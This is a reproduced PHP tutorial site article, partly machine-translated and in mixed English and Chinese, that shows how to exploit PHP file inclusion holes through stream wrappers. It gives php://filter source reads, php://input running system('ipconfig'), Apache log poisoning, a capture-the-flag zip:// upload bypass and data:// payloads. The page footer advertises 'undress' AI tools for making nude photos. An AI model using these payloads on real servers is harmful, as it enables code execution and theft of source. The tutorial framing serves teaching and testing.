search
HomeBackend DevelopmentPHP ProblemLet's analyze file inclusion and PHP pseudo-protocol utilization

This article brings you related issues about PHP, which mainly introduces the relevant content about file inclusion and PHP pseudo-protocol. File inclusion vulnerability is a type of "code injection". Let’s take a look at it together, I hope it will be helpful to everyone.

Let's analyze file inclusion and PHP pseudo-protocol utilization

Recommended study: "PHP Video Tutorial"

File inclusion

The file inclusion vulnerability is A type of "code injection". The principle is to inject a script or code that the user can control and let the server execute it. A typical representative of "code injection" is file inclusion.

To successfully exploit the file inclusion vulnerability for attack, the following two conditions need to be met:

  • Web applications use include() and other file inclusion functions through dynamic variables. Introduce the files that need to be included;

  • The user can control the dynamic variable.

Common functions that cause file inclusion:
PHP: include(), include_once(), require(), require_once(), etc.;
1.php file contains You can directly execute the code of the included file, and the included file format is not subject to any restrictions.
Four file inclusion functions are provided in PHP:
(1) Require: A fatal error will occur when the included file cannot be found. (E_COMPILE_ERROR) and stop the script;
(2) Include: Only one (E_warinng) will be generated when the included file cannot be found, and the script will continue to execute;
(3) Require_once: Similar to include, it will generate Warning, the difference is that if the file code has been included, it will not be included again;

PHP pseudo-protocol

php pseudo-protocol is actually the protocol and encapsulation protocol it supports. The protocols it supports are:

file:// — 访问本地文件系统

php:// — 访问各个输入/输出流(I/O streams)data:// — 数据(RFC 2397)zip:// — 压缩流

Lets analyze file inclusion and PHP pseudo-protocol utilization

all_url_include was added after PHP 5.2. The safe and convenient settings (php’s default settings) are: allow_url_fopen=on;all_url_include=off;
allow_url_fopen = On (Allow opening URL files, enabled by default)
allow_url_fopen = Off (Prohibit opening URL files)
allow_url_include = Off (Prohibit referencing URL files, new version adds functions, disabled by default)
allow_url_include = On (Allow reference to URL files, new version adds functions)

file protocol

file:// The file system is the default encapsulation protocol used by PHP, showing local file system.

Use file:// protocol to include local phpinfo.php

http://localhost/www/lfi.php?file=file://F:\phpstudy\phpstudy_pro\WWW\www\phpinfo.php

Lets analyze file inclusion and PHP pseudo-protocol utilization

##PHP protocol
php :// accesses various input/output streams (I/O streams). In CTF, php://filter and php://input

are often used. php://filter is used to read source code:
php://input is used to execute php code.

http://localhost/www/lfi.php?file=php://filter/read=convert.base64-encode/resource=./phpinfo.php
php://filter requires base64 encoding when reading php files


Lets analyze file inclusion and PHP pseudo-protocol utilization php://input

    allow_url_include = On
php://input [POST DATA]Execute php code

Requires ***allow_url_include = On***

http://localhost/www/lfi.php?file=php://input

POST	<?system (&#39;ipconfig&#39;)?>

Lets analyze file inclusion and PHP pseudo-protocol utilization

##allow_url_include = Off
  1. However, in most cases, allow_url_include is turned off by default,
and POST data cannot be included. In this case, apache logs or error log records can be included


First of all, we need the fuzz method to blast out the path of the log.

For the convenience of testing, I first clear the content of the log to facilitate demonstration

Access the URL and write the code into the log by reporting an error Medium

Note: You need to use burp packet capture here to access, otherwise the code will be URL-encoded and written to the log and cannot be executed

You can also write the code into the user-agent

http://localhost/www/lfi.php?file=<?php  phpinfo();?>

Lets analyze file inclusion and PHP pseudo-protocol utilization

My log path is: Lets analyze file inclusion and PHP pseudo-protocol utilization F:\phpstudy\phpstudy_pro\Extensions\Apache2.4.39\logs\access.log.1631750400

Use file:// pseudo-protocol to read the log and found that phpinfo was successfully executed

http://localhost/www/lfi.php?file=file://F:\phpstudy\phpstudy_pro\Extensions\Apache2.4.39\logs\access.log.1631750400

Lets analyze file inclusion and PHP pseudo-protocol utilization

zip://protocol

** zip:// & bzip2:// & zlib:// ** are all compressed streams and can access sub-files in the compressed file. More importantly, there is no need to specify a suffix name and can be modified to any suffix: jpg png gif xxx etc.

Here we analyze a CTF case that combines file upload and file inclusion

First analyze the source code of file upload


file:
 

分析源代码发现,文件上传采用了白名单限制策略,只能上传
“gif", “jpeg”, “jpg”, "png"四种后缀名的文件。

分析文件包含的源代码

Tips: the parameter is file! :) <!-- upload.php --><?php     @$file = $_GET["file"];
    echo $file;
    if(isset($file))
    {
        if (preg_match(&#39;/http|data|ftp|input|%00/i&#39;, $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)
        {
            echo "<p> error! </p>";
        }
        else
        {
            include($file.'.php');
        }
    }?>

分析文件包含源代码,发现限制了部分伪协议和%00截断,且在include中自动添加了php后缀名,但是没有限制zip伪协议。

综上分析可以发现,在文件包含中利用zip伪协议,可以创建test.zip的压缩包,里面放着test.php的文件。

在文件上传时候将后缀名zip修改为png的后缀名,

test.php中写入木马

<?phpphpinfo ();?>

如下图所示
Lets analyze file inclusion and PHP pseudo-protocol utilization

Lets analyze file inclusion and PHP pseudo-protocol utilization

图片上传成功之后,利用文件包含和zip://协议去读取test.png中的test.php,发现phpinfo()被执行了,说明poc验证成功

http://172.22.32.25:42715/include.php?file=zip://upload/test.png%23test

Lets analyze file inclusion and PHP pseudo-protocol utilization

data://

条件:

allow_url_fopen:on
allow_url_include :on

访问网址

http://localhost/www/lfi.php?file=data://text/plain,<?php  phpinfo();?>

也可以使用base64编码,防止代码被过滤掉

file=data://text/plain,base64;PD9waHAgcGhwaW5mbygpPz4=
Lets analyze file inclusion and PHP pseudo-protocol utilization

推荐学习:《PHP视频教程

The above is the detailed content of Let's analyze file inclusion and PHP pseudo-protocol utilization. For more information, please follow other related articles on the PHP Chinese website!

Statement
This article is reproduced at:CSDN. If there is any infringement, please contact admin@php.cn delete
ACID vs BASE Database: Differences and when to use each.ACID vs BASE Database: Differences and when to use each.Mar 26, 2025 pm 04:19 PM

The article compares ACID and BASE database models, detailing their characteristics and appropriate use cases. ACID prioritizes data integrity and consistency, suitable for financial and e-commerce applications, while BASE focuses on availability and

PHP Secure File Uploads: Preventing file-related vulnerabilities.PHP Secure File Uploads: Preventing file-related vulnerabilities.Mar 26, 2025 pm 04:18 PM

The article discusses securing PHP file uploads to prevent vulnerabilities like code injection. It focuses on file type validation, secure storage, and error handling to enhance application security.

PHP Input Validation: Best practices.PHP Input Validation: Best practices.Mar 26, 2025 pm 04:17 PM

Article discusses best practices for PHP input validation to enhance security, focusing on techniques like using built-in functions, whitelist approach, and server-side validation.

PHP API Rate Limiting: Implementation strategies.PHP API Rate Limiting: Implementation strategies.Mar 26, 2025 pm 04:16 PM

The article discusses strategies for implementing API rate limiting in PHP, including algorithms like Token Bucket and Leaky Bucket, and using libraries like symfony/rate-limiter. It also covers monitoring, dynamically adjusting rate limits, and hand

PHP Password Hashing: password_hash and password_verify.PHP Password Hashing: password_hash and password_verify.Mar 26, 2025 pm 04:15 PM

The article discusses the benefits of using password_hash and password_verify in PHP for securing passwords. The main argument is that these functions enhance password protection through automatic salt generation, strong hashing algorithms, and secur

OWASP Top 10 PHP: Describe and mitigate common vulnerabilities.OWASP Top 10 PHP: Describe and mitigate common vulnerabilities.Mar 26, 2025 pm 04:13 PM

The article discusses OWASP Top 10 vulnerabilities in PHP and mitigation strategies. Key issues include injection, broken authentication, and XSS, with recommended tools for monitoring and securing PHP applications.

PHP XSS Prevention: How to protect against XSS.PHP XSS Prevention: How to protect against XSS.Mar 26, 2025 pm 04:12 PM

The article discusses strategies to prevent XSS attacks in PHP, focusing on input sanitization, output encoding, and using security-enhancing libraries and frameworks.

PHP Interface vs Abstract Class: When to use each.PHP Interface vs Abstract Class: When to use each.Mar 26, 2025 pm 04:11 PM

The article discusses the use of interfaces and abstract classes in PHP, focusing on when to use each. Interfaces define a contract without implementation, suitable for unrelated classes and multiple inheritance. Abstract classes provide common funct

See all articles

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

AI Hentai Generator

AI Hentai Generator

Generate AI Hentai for free.

Hot Article

R.E.P.O. Energy Crystals Explained and What They Do (Yellow Crystal)
4 weeks agoBy尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Best Graphic Settings
4 weeks agoBy尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. How to Fix Audio if You Can't Hear Anyone
4 weeks agoBy尊渡假赌尊渡假赌尊渡假赌
WWE 2K25: How To Unlock Everything In MyRise
1 months agoBy尊渡假赌尊渡假赌尊渡假赌

Hot Tools

MantisBT

MantisBT

Mantis is an easy-to-deploy web-based defect tracking tool designed to aid in product defect tracking. It requires PHP, MySQL and a web server. Check out our demo and hosting services.

ZendStudio 13.5.1 Mac

ZendStudio 13.5.1 Mac

Powerful PHP integrated development environment

Dreamweaver CS6

Dreamweaver CS6

Visual web development tools

SublimeText3 English version

SublimeText3 English version

Recommended: Win version, supports code prompts!

SublimeText3 Linux new version

SublimeText3 Linux new version

SublimeText3 Linux latest version